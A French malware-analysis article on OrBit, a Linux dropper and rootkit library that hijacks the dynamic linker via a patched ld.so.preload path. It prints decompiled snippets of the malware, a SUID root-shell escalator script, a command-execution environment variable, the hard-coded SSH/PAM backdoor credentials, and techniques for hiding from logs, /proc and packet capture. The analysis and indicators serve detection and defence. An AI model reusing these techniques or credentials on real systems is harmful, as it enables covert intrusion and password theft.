OrBit : analyse avancée d’un malware dédié à Linux

OrBit est un two-stage malware apparu à l’été 2022, découvert par Intezer. Faisant office de stealer et de backdoor uniquement à destination des systèmes Linux 64 bits, il se compose d’un exécutable faisant office de dropper et d’une librairie dynamique.

En juillet 2022, les équipes de recherche d’Intezer publiaient le premier papier sur le malware OrBit, avec un titre évocateur : ‘New Undetected Linux Threat Uses Unique Hijack of Execution Flow’. Ce papier a la modeste intention de compléter cette analyse du malware.

Le dropper OrBit

Fichier
$ELF
Architecture
$x86-64
Obfuscation
$Aucune
Informations de debug
$Présentes
Privilèges requis
$root (échoue sans les droits d'un superadmin)
SHA-256
$f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
MD5
$67048a69a007c37f8be5d01a95f6a026

Ce dropper a pour but d'installer de manière discrète une librairie dynamique sur le système cible.

Pour cela, plusieurs arguments en ligne de commande sont pris en charge :

  • Sans argument, le malware est installé dans le répertoire /lib/libntpVnQE6mk/
  • sh installe le malware dans /dev/shm/ldx
  • shred supprime le malware
  • newpath modifie le linker pour y écrire le chemin passé en paramètre
  • mov installe la librairie malveillante dans le répertoire choisi et sous le nom passé en paramètre
  • -O ignore la version du binaire ld.so lors de l'installation
  • -o permet de réécrire le chemin inscrit dans le linker par /dev/shm/ldx/.l
  • -u réinstalle le malware

Fichiers créés

Fichiers
.backup_ld.so
$backup de linker
libdl.so
$librairie partagée malveillante
.l
$contient le chemin vers la librairie malveillante
.profile
$script à installer dans un répertoire home
.bashrc
$lien symbolique vers .profile
escalator
$script d'élévation de privilèges
.bootsh
$fichier à exécuter lorsque le démon cron s'active
.logpam
$indique si les mots de passe ssh doivent être sauvegardés
sshpass.txt
$liste de mots de passe PAM
sshpass2.txt
$liste de mots de passe sudo ou ssh
.ports
$liste de ports à filtrer en TCP

Installation persistante

Point d'entrée du malware

La fonction main vérifie la présence du répertoire /lib/libntpVnQE6mk, ce dernier contiendra à terme tous les fichiers et sous-répertoires nécessaires au malware pour fonctionner efficacement. Son absence signifie que le malware n’est pas encore présent.

Une fois le répertoire créé, le programme change l'identifiant du groupe propriétaire par 920366.

/* main() - Création du répertoire */
if (stat("/lib/libntpVnQE6mk", ...) {
   puts("new hdd"); 
   system("mkdir /lib/libntpVnQE6mk");
   chown("/lib/libntpVnQE6mk", 0, 920366);
   backup_ld(); 
}

Cet identifiant a très peu de chance d'appartenir à un groupe déjà présent sur le système et est utilisé par le malware pour différencier les répertoires, fichiers et processus malveillants des normaux.

Sauvegarde du linker

Le programme appelle ensuite la fonction backup_ld, comme son nom le laisse supposer, cette fonction effectue une sauvegarde du linker dynamique présent sur la machine.

backup_ld() - Sauvegarde du linker
readlink("/lib64/ld-linux-x86-64.so.2", dest);
/* ... */
sprintf(src, "cp %s /lib/libntpVnQE6mk/.backup_ld.so", dest);
return (system(src));

Sur un système Linux 64 bits, le lien symbolique /lib64/ld-linux-x86-64.so.2 pointe vers le binaire du linker dynamique.

Le malware obtient le chemin du linker grâce à ce lien symbolique et le copie à l'emplacement /lib/libntpVnQE6mk/.backup_ld.so.

Création de la librairie dynamique malveillante

Le malware introduit ensuite une librairie partagées malveillante avec la fonction load_ld qui prend en paramètre le chemin de destination de cette librairie.

Une vérification est effectuée sur la version du linker, ce dernier a un nom sous la forme ld-${LIBC_VERSION}.so, ce qui signifie que chaque version de libc apporte un nouveau linker. Si la version est inférieure à 2.4 (avant septembre 2006), alors la vérification échoue à moins d'avoir utilisé l'option -O en ligne de commande.

Le chemin passé en paramètre est ensuite créé.

load_ld() - Vérification de la version du linker
stream = popen("ls -l /lib64/ld-linux-x86-64.so.2", "r");
fread(buffer, 1, 255, stream);
/* ... */
ld_version = strstr(buffer, "ld-2.");
if (ld_version) {
    if (ld_version[5] <= '4' && ld_version[6] == '.') {
        printf("ld error: %s\n", buffer);
        return override_version != 0;
    } else {
        return (1):
    }
} else {
    printf("ld: %s\n", buffer);
    return (0);
}

Deux symboles sont ensuite utilisés pour remplir le fichier :

  • rkld_so dont les 4 premiers octets (7F 45 4C 46) sont la signature d'un binaire exécutable sous Linux : c'est ici que se situe la librairie malveillante du malware ;
  • rkld_so_len qui contient la taille de la librairie malveillante.
load_ld() - Création de librairie malveillante
unlink(a1);
fd = open(...);
write(fd, &rkld_so, rkld_so_len);
fchown(fd, 0, 920366);
close(fd);
return (build_root());

Étant un des fichiers associés au malware, l'identifiant de groupe 920366 lui est attribué.

Création des fichiers utilitaires

Une fois la librairie sur le système, le malware va se construire une arborescence de répertoires et de fichiers qui lui seront utiles lorsque la librairie malveillante sera utilisée.

Les deux fichiers placés dans /lib/libntpVnQE6mk/bin se démarquent :

  • python qui est la copie de l'interpréteur python en lui ajoutant un bit SUID ;
  • et un script python stocké en base64 dans le binaire qui sert à élever les privilèges d'un utilisateur.

Pour terminer, le fichier .l est ajouté et le chemin de librairie malveillante y est écrit (/lib/libntpVnQE6mk/libdl.so).

Modification et remplacement du linker

La dernière fonction appelée pour terminer l'installation du malware est patch_ld qui va permettre à la librairie malveillante d'être utilisée au lieu des librairies classiques.

De la même manière que pour effectuer le backup vu précédemment, le programme, grâce au lien symbolique /lib64/ld-linux-x86-64.so.2, puis copie le linker original vers /lib/lib0UZ0LfvWZ.so.

Ce fichier est ensuite ouvert et mappé en mémoire pour rechercher la chaine de caractère /etc/ld.so.preload et la remplacer par /lib/libntpVnQE6mk/.l (cf. précision).

Le programme change ensuite l'emplacement de la copie du linker vers celui du linker original, désormais, à chaque exécution de programme, c'est la copie modifiée du linker qui sera utilisée.

Installation volatile

Point d'entrée du malware

En passant l’option sh en ligne de commande, le programme installera la librairie dynamique dans le répertoire /dev/shm/ldx.

Ce répertoire n’en est pas vraiment un, il s’agit d’une représentation sous forme d’arborescence du système de mémoire partagé (SHared Memory) qui est une manière de communiquer entre différents processus (comme par exemple lors d’un fork).

Les données présentes sont effacées dès que l'utilisateur se déconnecte de la machine.

Fonction d'installation

La fonction rkload_shm est ensuite appelée, elle exécute toutes les étapes nécessaires au déploiement du malware.

L’installation temporaire est très similaire à l’installation avec persistance :

  • la création d'un dossier /dev/shm/ldx avec 920366 comme identifiant de groupe ;
  • la création d'un backup du linker (/dev/shm/ldx/.backdup_ld.so) ;
  • la modification du linker via la fonction patch_ld ;
  • un appel à load_ld qui place la librairie malveillante dans /dev/shm/ldx/libdl.so ;
  • la création du fichier /dev/shm/ldx/.l qui contient le chemin de la librairie précédemment créée.
rkload_shm() - Installation volatile 
system("mkdir /dev/shm/ldx");
chown("/dev/shm/ldx", 0, 920366);
system("cp -p %s /dev/shm/ldx/.backup_ld.so"); //erreur
patch_ld(1, 1);
load_ld("/dev/shm/ldx/libdl.so");
fd = open(...);
write(fd, "/dev/shm/ldx/libdl.so\n", 22);
return (close(fd));

La ligne system("cp -p %s /dev/shm/ldx/.backup_ld.so"); est vouée à échouer car la fonction system ne prend pas en charge les formats strings ("%s"). De plus, le chemin vers le linker original n'est jamais récupéré.

L'installation volatile modifie donc le linker sans possibilité de retrouver l'original.

Modification manuelle du linker

Avec l'option newpath, le programme offre la possibilité de choisir soit même le chemin de fichier à modifier dans le linker via la fonction swap_ldpath.

Le linker pointé par le lien symbolique /lib64/ld-linux-x86-64.so.2 est copié vers /lib/lib0UZ0LfvWZ.so et recherche dans le fichier la chaîne de caractères passée en 1er argument du programme pour la remplacer par la chaîne passée en 2e argument.

Cette fonction est similaire à patch_ld : le déroulement est le même si les arguments suivant sont passés en ligne de commande : /etc/ld.so.preload /lib/libntpVnQE6mk/.l

Deux manières d'utiliser cette capacité peuvent être distinguées :

  1. si le malware est déjà installé, le linker corrompu peut être modifié pour pointer vers un autre fichier ;
  2. si le malware n'est pas installé, l'attaquant peut vouloir utiliser une autre librairie et des répertoires ou fichiers différents de ceux proposé dans l'installation classique, le dropper sert alors uniquement à modifier le linker.

Réinitialisation

Avec l'argument -u passé en ligne de commande, le programme appelle la fonction rkld_update.

Celle-ci récupère le chemin vers l'installation actuelle de la librairie malveillante pour ensuite la réinstaller avec load_ld.

rkld_update() - Récupération du chemin de l'installation 
if (stat("/lib/libntpVnQE6mk/libdl.so", v1)) {
    if (!stat("/dev/shm/ldx/libdl.so", v1))
        lib_path = "/dev/shm/ldx/libdl.so";
} else {
    lib_path = "/lib/libntpVnQE6mk/libdl.so";
}
return (load_ld(lib_path));

On peut noter un cas non géré, résumé par le schéma ci-dessous :

Suppression

Pour supprimer le linker corrompu, le programme prend en charge l'argument shred qui provoque un appel à la fonction unload_ld.

Dans cette fonction, le fichier /lib/libntpVnQE6mk/.l est supprimé et la sauvegarde du linker original remplace le linker modifié à l'emplacement pointé par le lien symbolique /lib64/ld-linux-x86-64.so.2.

 

Précisions sur le script d'élévation de privilèges d’OrBit

Le fichier escalator possède un le SUID bit de l'utilisateur root, en théorie l'exécution de la fonction execv devrait donc ouvrir un shell bash avec les droits root (0:0).

Il est cependant nécessaire d'ajouter la fonction setreuid avant execv.

escalator
import os
os.setreuid(0, 0)
os.execv("/bin/bash", ("/bin/bash", "-i"))

Pour comprendre pourquoi, il faut d’abord parler des identifiants. Dans un système Linux, chaque utilisateur possède un identifiant, ces derniers sont visibles dans le fichier /etc/passwd. Cet identifiant est l’ID réel (euid). Il existe aussi un ID effectif qui a la même valeur que l’ID réel la majorité du temps.

Lors de l'exécution d’un programme avec le bit SUID positionné, un utilisateur verra seulement son ID effectif modifié pour prendre la valeur de celui du propriétaire du fichier, ce qui signifie que l’ID réel reste le même.

Mais lorsqu’un shell est lancé, si l’ID effectif est différent de l’ID réel alors le shell prend l’ID réel en référence et supprime les privilèges accordés par le SUID bit.

Ainsi, dans le cas du script python, l’utilisateur ne serait pas root une fois /bin/bash lancé. Pour remédier à ce problème, la fonction  setreuid est appelée avant l’exécution de la commande. Cette fonction permet de changer directement l’ID réel si l’ID effectif le permet. De cette manière, /bin/bash est lancé avec un ID réel et un ID effectif de 0 (root).

Précisions sur le linker dynamique d’OrBit

Un binaire sous Linux peut être compilé de manière statique ou dynamique.

En statique, le programme contient toutes les librairies nécessaires à son bon fonctionnement et peut être exécuté directement.

En dynamique, les dépendances ne sont pas ajoutées au binaire mais stockées sous formes de symboles.

Lors de son exécution, le linker dynamique cherche les symboles dans une liste de librairies partagées et charge en mémoire les librairies nécessaires. Pour terminer, le linker dynamique fais correspondre les symboles du programme avec les fonctions soit avant l'exécution du programme, soit lorsqu'une fonction est appelée.

L'ordre dans lequel les librairies sont chargées en mémoire est prédéfini mais il est possible de charger des librairies en priorité :

  • Via la variable d'environnement LD_PRELOAD
  • Via le fichier /etc/ld.so.preload

Ce dernier n'est censé exister qu'à des fins de tests et est donc absent par défaut sur un système en production. On retrouve dans le code source la définition de la chaîne de caractères utilisée pour ouvrir ce fichier.

Code source du binaire ld.so
1869 /* There usually is no ld.so.preload file, it should only be used
1870 for emergencies and testing. So the open call etc should usually
1871 fail. Using access() on a non-existing file is faster than using
1872 open(). So we do this first. If it succeeds we do almost twice
1873 the work but this does not matter, since it is not for production
1874 use. */
1875 static const char preload_file[] = "/etc/ld.so.preload";

Comme la variable est déclarée constante, sa valeur se retrouve dans le binaire compilé, dans la section .rodata :

Lors de l'exécution du linker, le programme récupère la valeur située à l'emplacement de cette chaîne.

Si l'on modifie cette chaîne, la nouvelle valeur sera utilisée par le binaire lors de l'initialisation de la variable preload_file l'emplacement reste le même.

Ainsi, le malware peut insérer une chaîne de caractères représentant le chemin vers un fichier contenant sa propre liste de librairies partagées.

Librairie d’OrBit

Fichier
$ELF
Architecture
$x86-64
Obfuscation
$XOR sur des chaines de caractères
Informations de debug
$Présentes
Privilèges requis
$Aucun
SHA-256
$40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020
MD5
$ac89d638cb6912b58de47ac2a274b2fb

La librairie a plusieurs objectifs. Elle permet au malware de rester discret en modifiant les captures réseau et en empêchant les utilisateurs de manipuler les fichiers malveillants. Et elle permet aussi de capturer des mots de passe et d’autoriser les connexions en SSH avec un nom d’utilisateur et un mot de passe prédéfini pour contourner l’authentification.

Modification des interfaces d’appels systèmes

Au lieu d’appeler directement les fonctions servant d’interface pour les appels système (writeopenstat, etc.), la librairie utilise directement syscall , qui prend en paramètre le numéro de l’appel système souhaité suivi des arguments habituellement envoyés.

Cette méthode est utilisée car la librairie définit elle-même ses propres interfaces ayant des effets malveillants pour certains appels systèmes et ne peut donc pas les utiliser pour obtenir un comportement standard.

Obfuscation

La libraire contient des chaînes de caractères obscurcies avec un chiffrement XOR au sein de la section data.

Le déchiffrement est effectué à la volée avec une clé mesurant un octet et ayant pour valeur 0xA2 (162).

xor cypher 
for (i = 0; i < len_string; ++i)
    string[i] = obfuscated_string[i] ^ 0xA2;
string[i] = 0;

Constructeur

Dans un code compilé avec GCC, il est possible d’ajouter des attributs aux fonctions, ces attributs permettent de modifier la compilation afin de changer le comportement du programme lors de son exécution.

Parmi eux, on retrouve le constructeur et le destructeur, permettant respectivement d'exécuter du code avant et après la fonction main d'un programme.

_do_global_ctors_aux

On retrouve dans la librairie une fonction _do_global_ctors_aux, c’est ici que les fonctions avec l’attribut constructor sont appelées.

Le programme récupère le tableau fct_ptr,créé par le compilateur et qui contient les adresses des fonctions à exécuter.

Si ce tableau n'est pas vide, une boucle parcourt chacune des entrées pour appeler les fonctions.

_do_global_ctors_aux() 
fct = array_fct_constructor;
if (array_fct_constructor != -1) {
    fct_iterator = &array_fct_constructor;
    do {
        --fct_iterator;
        fct();
        fct = *fct_iterator;
    } while (fct_iterator != -1);
}
return (fct);

__libc_sym_init

Cette fonction possédant l'attribut constructor est divisée en partie. La première exécute une commande de l’utilisateur via une variable d’environnement tandis que la deuxième exécute un fichier prédéfini.

Si la variable d'environnement HTTP_X_MAGICAL_PONIES est présente lors de l'exécution d'un programme, sa valeur sera exécutée comme une ligne de commande avant la suppression de la variable.

__libc_sym_init() - Exécution de commande 
if (getenv("HTTP_X_MAGICAL_PONIES")) {
    command = getenv("HTTP_X_MAGICAL_PONIES");
    unsetenv("HTTP_XMAGICAL_PONIES");
    system(command);
}

Dans un deuxième temps, si le nom du programme contient cron, le fichier /dev/shm/.lck est créé et son ID de groupe propriétaire est mis à 920366, puis le fichier est fermé.

Un nouveau processus est créé pour exécuter le fichier .boot.sh, un identifiant de groupe 920366 lui est attribué pour obtenir les permissions maximales.

__libc_sym_init() - Execution du fichier .boot.sh 
v0 = strstr(_progname, "cron");
if (v0) {
    v0 = syscall(2, "/dev/shm/.lck", 192, 420); // open()
    fd = v0;
    if (v0 >= 0) {
        syscall(93, fd, 0, 920366); // chown()
        sycall(3, fd); // close()
        v0 = fork();
        if (!v0) {
            syscall(106, 920366); // setgid()
            len_string = 27;
            for (i = 0; i < len_string; ++i)
                string[i] = obfuscated_string[i] ^ 0xA2; // /lib/libntpVnQE6mk/.boot.sh
            string[i] = 0;
            stream = popen(string, "r");
            pclose(stream);
            exit(0);
        }
    }
}

Le fichier .boot.sh est laissé vide lors de sa création par le dropper mais on peut facilement imaginer qu’un attaquant qui serait connecté en SSH pourrait ajouter des commandes pour exfiltrer les données collectées.

En passant par un fichier plutôt que par le service cron, le malware reste discret et évite de se faire repérer avec la commande crontab -l qui permet de lister les différentes tâches. En contrepartie, l’attaquant ne contrôle pas la récurrence d’exécution de son script.

Capture de mot de passe

Afin de récupérer les mots de passe entrés par un utilisateur, les fonctions write et read sont modifiées et utilisées de manière complémentaire avec les variables globales sshpass et sniff_ssh_session.

Les programme sudo et ssh ont pour point commun d'afficher une phrase comme [sudo] pass ou 's password pour indiquer à l'utilisateur de rentrer son mot de passe, ce qui implique que les prochains appels à read seront utilisés pour récupérer le mot de passe.

Si l'une de ces chaînes est détectée dans la fonction write , la sshpass prend la valeur 1. Avec cette valeur, la fonction readsauvegarde chaque entrée dans le fichier sshpass2.txt jusqu'à lire un retour à la ligne (\n) et remettre sshpass à 0.

Ce mécanisme permet donc d'enregistrer uniquement les mots de passe utilisateurs sans avoir à sauvegarder chaque entrée.

Une fois le mot de passe entrée, la fonction read vérifie l'existence du fichier .sniff. Si ce dernier est présent sur le système, sniff_ssh_session prend la valeur 1. Cette variable est utilisée dans write , une valeur de 1 permettant la sauvegarde de tout le contenu de la session ssh dans le fichier sniff.txt.

Dissimulation dans le système de fichiers

Pour éviter que les fichiers relatifs au malware puissent être listés, lus, écrits ou supprimés par un utilisateur lambda, la librairie redéfinit l’appel système stat qui permet d’obtenir des informations sur un fichier ou un répertoire.

Ainsi, la librairie peut récupérer l’identifiant du groupe propriétaire d’un fichier dans des fonctions comme openreaddir ou opendir.

Si cet identifiant de groupe vaut 920366 et que l’utilisateur ne possède pas cet ID, la librairie refuse l’accès et le fichier ou répertoire ne peut être ni ouvert ni lu.

Vérification de l'identifiant de groupe
is_malicious = syscall(4, path, &info_file) >= 0 && info_file.st_gid == 920366; // stat()
if (is_malicious && syscall(104) != 920366) { // getgid()
    return (-1);
}

Fonction open

Cette fonction a pour unique but de rendre le malware le moins détectable possible.

Le procfs est un système de fichiers qui permet d’obtenir des informations concernant les processus en cours, plusieurs fichiers qui permettent de détecter le malware s'y trouvent.

  • /proc/net/tcp qui contient la liste des connexions TCP actives
  • /proc/*/maps, /proc/*/smaps et /proc/*/numa_maps qui contiennent des informations sur la représentation de la mémoire d’un processus.

Parmi ces informations figurent entre autres le nom et l’adresse des différents segments d’un programme, les librairies dynamiques utilisées sont donc présentes.

Si l'un de ces fichiers est passé en paramètre de la fonction open, la librairie créée un fichier temporaire. À l'intérieur de ce fichier, le contenu du fichier original est copié ligne par ligne en excluant celles contenant des informations sur une activité suspecte.

Le fichier /var/log/lastlog qui contient la liste des utilisateurs s'étant connecté en SSH est aussi ciblée par la librairie malveillante.

Afin d'éviter que les connexions de l'attaquant ne soient répertoriées, la librairie renvoie un descripteur de fichier sur /dev/null ce qui a pour conséquence d'écrire les logs dans le vide.

open() - Dissimulation des connexions SSH suspectes
if ( syscall(104) == 920366 ) // getgid()
{
    len = 4;
    for ( k = 0; k < len; ++k )
      sshd[k] = obfuscated_string[k] ^ 0xA2;
    sshd[len] = 0;
    if ( !strcmp(_progname, sshd) )
    {
      len = 7;
      for ( m = 0; m < len; ++m )
        lastlog[m] = obfsucated_string_2[m] ^ 0xA2;
      lastlog[len] = 0;
      if ( strstr(filename, lastlog) )
        haystack = "/dev/null";
    }
  }
/* ... */
return syscall(2, haystack, mode, flags);

Porte dérobée

Pour permettre à un attaquant de récupérer un accès à la machine infectée, la librairie réécrit plusieurs fonctions de la librairies PAM qui sert à centraliser et configurer les authentifications pour différents programmes (sudosshdcron, etc).

La fonction pam_authenticate est utilisée pour authentifier un utilisateur à un service, elle est chargée de récupérer le nom d'utilisateur et le mot de passe.

Dans l'implémentation de la librairie, son rôle est aussi de permettre à un attaquant de se connecter avec un identifiant ("2l8").

Dans le cas où ce nom d'utilisateur est rentré, le port impliqué dans la connexion est ajouté au fichier .ports et l'identifiant de groupe pour l'utilisateur se voit attribué la valeur de 920366.

Le mot de passe quant à lui est vérifié par la fonction pam_get_password, qui renverra une valeur de réussite si le mot de passe envoyé est ("c4ss0ul3tt3</").

pam_get_password() - Mot de passe en dur 
len = 3;
for (i = 0; i < len; ++i) {
    password_2l8[i] = obfuscated_string[i] ^ 0xA2;
password_2l8[len] = 0;
if (!strcmp(username, password_2l8)) {
    /* ... */
    len = 25;
    for (j = 0; j < len; ++j)
        ports_filename[j] = obfuscated_string_2[j] ^ 0xA2;
    ports_filename[len] = 0;
    fd = syscall(2, ports_filename, 1090, 420); // open()
    /* ... */
    syscall(1, fd, port_to_hide, len_port_to_hide); // write()
    syscall(3, fd); // close()
    syscall(106, 920366); // set_gid()
    if (pam_get_password(...))
        return (0); // Authentication done
    else
        return (6); // Authentication failed
}

À l'inverse, si un utilisateur lambda se connecte, et que le fichier .logpam existe, la fonction originale est appelée. En cas de réussite, la fonction pam_log_password inscrit le nom d'utilisateur et le mot de passe dans le fichier sshpass.txt.

Modification des trames réseaux

Pour éviter que les connexions SSH de l'attaquant ou d'autres activités sur le réseau ne soient détectées, bind et connect ainsi que quelques fonctions de la librairie pcap sont réimplémentées par le malware.

bind / connect

La fonction bind est utilisée pour assigner un socket à une adresse IP et un port, cette fonction est nécessaire lorsqu'un programme souhaite prendre le rôle de serveur pour pouvoir accepter de nouvelle connexion entrantes.

Si bind ou connect sont appelées par un programme lancé par l'utilisateur malveillant, le port utilisé est inscrit dans le fichier .ports précédemment créé par le dropper.

bind() - Récupération du port impliqué dans la connexion de l'attaquant 
if ( syscall(104) == 920366 ) // getgid()
{
    port = htons(serv_addr->sin_port);
    len = 25;
    for ( i = 0; len > i; ++i )
        ports_file[i] = obfuscated_string[i] ^ 0xA2;
    ports_file[len] = 0;
    fd = syscall(2, ports_file, 1090, 420); // open
    len_buffer = sprintf(buffer, "%d\n", port);
    syscall(1, fd, buffer, len_buffer); // write()
    fsync(fd);
    syscall(3, fd); // close()
}

libpcap

La librairie pcap est utilisée sur des systèmes Unix pour capturer des paquets sur une interface réseau, elle est notamment utilisée dans des outils comme wiresharktcpdumpnmap, etc. L'objectif du malware est de faire disparaître les paquets contenant des ports issus de connexions suspectes.

La fonction pcap_loop permet de commencer la capture de paquet sur une interface et prend en argument une fonction, cette dernière sera appelée à chaque fois qu'un paquet est intercepté.

Dans sa propre implémentation, la librairie sauvegarde la fonction passée en argument dans la variable globale orig_callback et appelle pcap_loop avec une autre fonction : pcap_packet_callback.

Le header de chaque paquet capturé est analysé pour déterminer le protocole (TCP ou UDP). Dans les deux cas, une fonction est appelée pour vérifier si les ports impliqués se retrouvent dans les fichiers .ports ou .udp.

Si aucun port suspect n'est trouvé, la fonction de callback originale est appelée.

execve

La fonction execve a pour but de camoufler encore plus le malware aux yeux d'un utilisateur lambda en retirant de certaines commandes un contenu spécifique ou présent dans des fichiers de configuration :

  • dmesg est amputée des lignes contenant promiscuouszappingtcpdumplibntpVnQE6mk et libdl.so, ainsi que le contenu du fichier /lib/ibntpVnQE6mk/.sys/.dmesg.
  • strace se voit retirer les lignes avec .l920366 et libntpVnQE6mk. De plus, si l'option -o est utilisée, la sortie sera redirigée vers /tmp/.orbit.
  • ipet iptables ont leur sortie comparée avec le contenu des fichiers/lib/libntpVnQE6mk/.net et /lib/libntpVnQE6mk/.fw, les lignes sont aussi retirées en cas de match.

Si la variable LD_TRACE_LOADED_OBJECTS est présente dans l'environnement de l'utilisateur lançant un programme, la liste des librairies dynamiques utilisées est affichée à l'écran.

Pour rester cacher, le malware modifie le linker pour utiliser le backup présent dans son dossier.

Pour finir, si le fichier /lib/libntpVnQE6mk/.nolog est présent, chaque commande exécuté sera écrite dans le fichier /lib/libntpVnQE6mk/execlog.

IoC OrBit

SHA-256
dropper
$f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
libdl.so
$40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020
.boot.sh
$e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
.profile
$025e776c51b23e83fe4b400c527902d59dffa65cb35b4a163298790b1990b49c
escalator
$d316e896ed4c9a737b2964e5aceaf25751383db13bd9cdcb346bb893eff7fc47
.l
$fbe72ad884c4bf7b874794c0d6fe99054cf06c9d23ac004be3a36142bbcaa728

Protections Stormshield face à OrBit

Avec la solution Stormshield Network Security, dédiée à la protection des réseaux, le dropper et la librairie OrBit sont détectés et bloqués grâce au moteur antiviral embarqué, mais également via l'option de détonation dans le cloud Breach Fighter.

Partager sur

[juiz_sps buttons="facebook, twitter, linkedin, mail"]
Les codes malicieux sont conçus pour être de moins en moins détectables par les systèmes de protection traditionnels. Pour cette raison, les firewalls Stormshield Network Security ne reposent pas uniquement sur un système à base de signatures de malwares mais intègre des mécanismes d’émulation pour identifier les codes malveillants, de manière proactive.
Avec notre option Breach Fighter, enrichissez les fonctionnalités de vos appliances Stormshield avec du sandboxing et l’analyse de vos fichiers douteux. Ajoutez une protection dynamique contre les attaques inconnues à vos solutions de cybersécurité.

À propos de l'auteur

Louis Deschanel